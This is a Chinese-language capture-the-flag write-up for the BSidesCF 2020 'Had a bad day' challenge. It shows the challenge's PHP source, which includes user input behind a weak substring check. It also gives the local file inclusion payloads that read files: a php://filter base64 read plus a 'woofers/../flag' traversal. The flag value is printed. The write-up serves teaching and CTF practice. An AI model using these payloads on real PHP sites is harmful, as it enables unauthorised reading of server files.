[BSidesCF 2020]Had a bad day1

题目

这里有传参

文件包含使用伪协议读取flag

先读取index.php查看

/index.php?category=php://filter/read=convert.base64-encode/resource=index

解码

index.php源码

php 复制代码
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php

尝试直接读取/index.php?category=woofers/../flag

php 复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

解码

拿下flag

flag{85254eba-a050-49cd-a3be-4e9859e51241}

相关推荐
项目題供诗31 分钟前
ES语法学习
学习·elasticsearch·django
虾球xz1 小时前
游戏引擎学习第146天
学习·ffmpeg·游戏引擎
cape_NO_72 小时前
运动控制卡--概述学习
学习·自动化
飞向星河3 小时前
SV学习笔记——数组、队列
笔记·学习·c#
胡西风_foxww4 小时前
中学学习难点管理思维魔方
学习·中学·难点
Moonnnn.5 小时前
51单片机——程序执行过程(手工汇编)
汇编·笔记·嵌入式硬件·学习·51单片机
大宝剑1705 小时前
blender学习25.3.8
学习·blender
flashier11 小时前
C语言 进阶指针学习笔记
c语言·笔记·学习
大白的编程日记.11 小时前
【Linux学习笔记】Linux基本指令分析和权限的概念
linux·笔记·学习
螺旋式上升abc11 小时前
GO语言学习笔记
笔记·学习·golang